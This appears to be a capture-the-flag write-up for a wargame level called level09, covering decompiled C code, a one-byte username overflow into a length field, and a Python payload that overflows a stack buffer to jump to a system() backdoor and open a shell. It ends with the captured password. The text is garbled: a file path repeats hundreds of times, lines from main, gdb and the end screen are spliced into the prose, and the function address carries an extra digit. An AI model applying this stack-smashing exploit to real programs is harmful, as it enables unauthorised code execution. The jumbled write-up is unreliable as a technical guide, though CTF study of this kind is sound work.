./level09

```
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE /home/user/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level09/level0
```

Decompiled file with **Ghidre**

```
Decompiled file with Ghidra:
  struct MessageData
     char msg[140];
     char username[40];
     int msglen;
  void secret_backdoor(void)
     char command[128];
     fgets(command, 128, stdin);
     system(command);
     return;
  void handle_msg(void)
     struct MessageData msgdata;
     memset(msgdata.username, 0, 40);
     msgdata.msglen = 140;
     set username(&msgdata);
     set_msg(&msgdata);
     puts(">: Msg sent!");
     return;
 void set_msg(struct MessageData *msgdata)
     char message_buffer[1024];
     memset(message_buffer, 0, 1024);
     puts(">: Msg @Unix-Dude");
     printf(">>: ");
     fgets(message_buffer, 1024, stdin);
     strncpy(msgdata->msg, message_buffer, msgdata->msglen);
     return;
 void set_username(struct MessageData *msgdata)
     char username_buffer[128];
     memset(username_buffer, 0, 128);
     puts(">: Enter your username");
     printf(">>: ");
     fgets(username_buffer, 128, stdin);
     for (int i = 0; i < 41 && username_buffer[i] != '\0'; i++)</pre>
         msgdata->username[i] = username_buffer[i];
     printf(">: Welcome, %s", msgdata->username);
  int main(void)
     puts("-----\n");
     puts("| ~Welcome to 133t-m$n ~ v1337
```

The program is in 64-bit mode, which means addresses are 8 bytes long.

The program includes a secret_backdoor function, which allows executing a system command that

puts("-----\n");

handle_msg();

return EXIT_SUCCESS;

(gdb) p secret_backdoor

end@OverRide:~\$ cat end

GG!

we specify. In this exercise, the interesting part happens within the **handle_msg** function, where there's a defined structure, consisting of:

```
struct MessageData
{
    char msg[140];
    char username[40];
    int msglen;
};
Next, there are two functions that allow us to enter a username and a message, storing them inside the
```

MessageData structure. The **set_username** function allows entering a **41**-character **username**, creating a *buffer overflow* opportunity. Thus, we can **overwrite** the least significant byte of **msglen**, which is an int located just after the **username**, and set it the maximum **0**xff.

This enables an overflow on the **msg**, as the **msglen** specifies the number of bytes that **strncpy** copies.

Consequently, we can overwrite the **handle_msg** return address, rerouting the execution of the program

to the secret_backdoor function.

First, let's find the address of the secret_backdoor function:

```
$1 = 0x0000555555555488c <secret_backdoor>
The final step is to find the exact offset between msg pointer and the return address of the handle_msg function's stack frame:
```

(gdb) run

```
level09@OverRide:~$ {
python -c '
import struct
username = "A"*40 + "\\xff"
msg = "A"*200 + struct.pack("<Q", 0x0000055555555488c)</pre>
commands = "\n".join([username, msg, "/bin/sh"])
print(commands)'
echo "cd ../end && cat .pass";
} | ./level09
   ~Welcome to l33t-m$n ~
                                      1
                         v1337
>: Enter your username
>>: >: Msg sent!
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
level09@OverRide:~$ su end
Password: j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
```